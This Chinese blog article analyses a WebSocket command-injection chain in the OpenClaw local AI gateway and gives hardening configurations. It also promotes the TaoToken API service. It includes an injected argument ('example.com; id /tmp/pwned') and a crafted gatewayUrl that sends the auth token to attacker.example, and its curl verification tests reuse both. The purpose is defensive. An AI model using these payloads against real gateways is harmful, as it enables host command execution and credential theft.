ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

OpenClaw漏洞风暴复盘:本地AI网关的WebSocket命令注入陷阱与防御突围

OpenClaw漏洞风暴复盘:本地AI网关的WebSocket命令注入陷阱与防御突围 1. 从一次本地网关被“接管”说起OpenClaw 这类本地 AI 网关本质上是把本地模型、外部 API、技能脚本、远程设备串在一起的中转站。它对外暴露 WebSocket 端口对内持有你的 authToken、API Key、SSH 凭证一旦 WebSocket 这条链路上出现命令注入攻击者拿到的不是某个模型回答而是你整台机器的执行权。我复盘这次漏洞风暴时最直观的感受是问题不在某个函数写错而在“默认信任 参数拼接 沙箱默认关闭”这三件事叠在一起形成了一条从连接建立到命令落地的完整注入链路。这篇内容面向自建网关的开发者与运维聚焦 OpenClaw 本地 AI 网关的 WebSocket 命令注入链路还原攻击面与触发条件并给出一套可复制的网关配置骨架其中包含用 TaoToken 统一 Key/API 通道接入的示例最后用可执行的验证动作帮你定位风险点、完成防御加固。如果你正在跑 OpenClaw或者自己写过类似的本地网关下面的配置和排查步骤可以直接对照操作。2. 攻击面还原WebSocket 命令注入是怎么串起来的2.1 触发条件三个默认值凑成一条链OpenClaw 的注入链路能跑通依赖三个默认行为同时成立。第一网关默认绑定0.0.0.0:18789公网可直接访问 WebSocket 端点第二连接建立时对gatewayUrl参数不做域名校验自动把 authToken 发出去第三技能执行模块把用户输入直接拼进容器启动命令没有对;、|、、反引号做过滤。三者单独看都像“小问题”合在一起就是“点一个链接命令在宿主机执行”。我用一个简化模型说明拼接过程。假设技能配置里有一个target字段用户填的是正常值example.com网关内部执行docker run --rm gateway-skill ping -c 1 example.com当target被填成example.com; id /tmp/pwned拼接后变成docker run --rm gateway-skill ping -c 1 example.com; id /tmp/pwned分号让后半段脱离容器直接在宿主机 shell 执行。这就是命令注入最典型的形态容器还在但隔离已经被绕过了。2.2 WebSocket 握手阶段的信任滥用WebSocket 的问题更隐蔽。OpenClaw 在握手时读取 URL 查询参数里的gatewayUrl然后主动向该地址发起连接并附带 authToken。攻击者只要构造http://localhost:3000/?gatewayUrlws://attacker.example:8080诱导用户点击本地网关就会把令牌送到攻击者服务器。拿到令牌后攻击者可以复用同一个 WebSocket 通道下发技能执行指令注入 payload 由此进入第二阶段。所以 WebSocket 命令注入不是单点漏洞而是“握手泄露凭证 执行阶段拼接命令”的组合拳。2.3 沙箱为什么没挡住OpenClaw 提供 Docker 沙箱但默认关闭且safeBins白名单校验存在长选项缩写绕过。比如白名单只允许rmdir攻击者用rmdir --no-preserve-root这类写法配合 GNU 长选项缩写机制实际触发的可能是被禁命令。沙箱要真正生效必须同时满足默认开启、白名单最小化、禁止 root、参数不拼接。缺任何一条隔离都是纸糊的。3. TaoToken 前置统一 Key 与 API 通道接入在加固网关之前先把模型调用这条链路收敛掉。自建网关常见的问题是每个技能、每个模型各配一套 Key散落在配置文件里一旦网关被注入攻击者能一次性拿走全部凭证。我的做法是用 TaoToken 做统一入口网关只持有一个 Key模型对话、编码、Agent 调用都走同一个 API 通道减少凭证暴露面。TaoToken 的 API 地址是https://taotoken.net/api官网入口在https://taotoken.net/?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewriteutm_content。接入时把网关的模型出口指向这个地址Key 通过环境变量注入不写进技能配置。这样即使某个技能被投毒它读到的也只是网关进程的环境变量而不是明文散落的多个 Key。具体操作上先在控制台创建 Key然后配置网关的模型通道。下面这段是网关侧的环境变量骨架你可以直接套用# 网关模型出口统一走 TaoToken export TAOTOKEN_API_BASEhttps://taotoken.net/api export TAOTOKEN_API_KEYsk-你的统一Key # 禁止技能读取原始 Key只暴露网关代理地址 export GATEWAY_MODEL_PROXYhttp://127.0.0.1:18790/v1网关内部再把GATEWAY_MODEL_PROXY转发到 TaoToken技能只能访问本地代理拿不到真实 Key。这一步做完后面即使 WebSocket 被注入攻击者能偷到的也只是本地代理地址而不是可直接复用的凭证。4. 可复制配置网关加固骨架4.1 绑定与连接层第一件事是把监听地址从0.0.0.0改回回环禁止公网直连。配置文件里对应gateway: bind: 127.0.0.1:18789 autoConnect: false allowedGatewayHosts: - 127.0.0.1 - gateway.internal.example authTokenTTL: 900autoConnect: false关掉自动连接gatewayUrl的行为allowedGatewayHosts做域名白名单authTokenTTL把令牌有效期压到 15 分钟降低泄露后的可用窗口。4.2 技能执行与沙箱技能执行层是命令注入的主战场必须强制沙箱 最小白名单 禁止 roottools: exec: sandbox: docker dockerImage: gateway-skill:latest allowRoot: false networkMode: none safeBins: - /bin/ls - /bin/cat - /usr/bin/curl denyShellMeta: true argMode: array关键是argMode: array它让参数以数组形式传给容器而不是拼成字符串从根上消除;、|的注入空间。denyShellMeta: true作为二次校验遇到 shell 元字符直接拒绝。networkMode: none让技能容器默认无网络需要联网的技能单独开白名单。4.3 认证与上下文隔离auth: passwordMinLength: 16 maxRetries: 5 lockoutSeconds: 3600 twoFactor: true context: share: false api: whitelist: - 127.0.0.1context.share: false让每个会话独立上下文避免一个会话的 API Key、SSH 凭证泄露给其他会话。api.whitelist只放回环地址远程访问走隧道或内网入口不直接暴露 API。4.4 模型通道接入 TaoToken把第 3 节的代理配置落到网关的模型通道里model: provider: openai-compatible baseURL: http://127.0.0.1:18790/v1 apiKeyEnv: GATEWAY_MODEL_PROXY_KEY timeoutSeconds: 60网关代理进程负责把请求转发到https://taotoken.net/api技能侧只看到本地地址。这样模型调用和技能执行在凭证层面彻底解耦。5. 验证请求确认注入点已被封堵配置改完不能只看文件要实际发请求验证。先启动网关然后用一个带注入特征的参数打技能接口观察是否被拒绝。第一步验证 WebSocket 握手不再自动外连。构造一个带外部gatewayUrl的请求curl -i http://127.0.0.1:18789/ws?gatewayUrlws://attacker.example:8080预期结果是网关拒绝或忽略该参数返回 400 或直接不建立外部连接。如果仍然尝试外连说明autoConnect没生效。第二步验证命令注入被拦截。向技能执行接口发送带分号的参数curl -s -X POST http://127.0.0.1:18789/api/skill/exec \ -H Content-Type: application/json \ -d {skill:ping,args:[example.com; id /tmp/pwned]}预期返回参数校验失败且宿主机上不存在/tmp/pwned。检查命令ls -l /tmp/pwned如果文件不存在说明argMode: array和denyShellMeta生效。如果文件出现说明还有拼接路径没堵住回到 4.2 检查。第三步验证模型通道走 TaoToken。发一个最小对话请求curl -s http://127.0.0.1:18790/v1/chat/completions \ -H Authorization: Bearer $GATEWAY_MODEL_PROXY_KEY \ -H Content-Type: application/json \ -d {model:gpt-4o-mini,messages:[{role:user,content:ping}]}返回正常补全结果说明统一通道打通。这一步也可以用模型对话页面直接验证连通性确认 Key 和通道都正常。6. 本篇常见错排查6.1 改了 bind 但公网仍可访问常见原因是网关前面还有一层反向代理或容器端口映射把0.0.0.0又暴露出去。检查docker ps的端口映射以及 nginx 的proxy_pass配置。容器启动时用-p 127.0.0.1:18789:18789不要用-p 18789:18789。6.2 沙箱开了但命令仍在宿主机执行多半是argMode还是字符串拼接模式。检查技能执行模块是否把参数拼成sh -c ...。只要出现sh -c加字符串拼接注入就还在。改成数组传参或者用execFile类接口直接传参数数组。6.3 safeBins 白名单被长选项绕过GNU 长选项缩写会让--no-preserve-root这类写法命中被禁命令。防御方式是白名单只放绝对路径且对参数做前缀校验禁止--开头的长选项或者直接用argMode: array让参数不经过 shell 解析。6.4 authToken 仍然出现在日志里检查网关日志级别把包含 token 的字段脱敏。WebSocket 握手日志、模型请求日志都可能打印 Authorization 头。在日志中间件里对authToken、apiKey、Authorization做掩码只保留前 4 位。6.5 模型通道 401如果走 TaoToken 统一通道返回 401先确认TAOTOKEN_API_KEY是否注入到网关进程而不是只写在 shell 里。容器场景下环境变量要在docker run -e或 compose 的environment里显式传入。再确认代理进程转发时没有丢掉 Authorization 头。7. 继续加固与接入入口把上面的配置跑通后建议再做两件事一是开启审计日志记录所有技能执行、WebSocket 连接、模型调用日志保留 30 天以上便于溯源二是定期用第 5 节的验证请求做回归测试每次升级网关版本后重跑一遍确认注入点没有回归。如果你还没接入统一模型通道可以先到 API Keys 页面创建 Key再对照接入文档把网关的模型出口指向 TaoToken。需要验证模型连通性时用模型对话页面发一条测试消息即可。长期跑编码类技能或 Agent 任务的可以看 Coding Plan把高频调用收敛到统一通道减少凭证散落。网关加固和凭证收敛这两件事做完WebSocket 命令注入这条链路才算真正被切断。
返回列表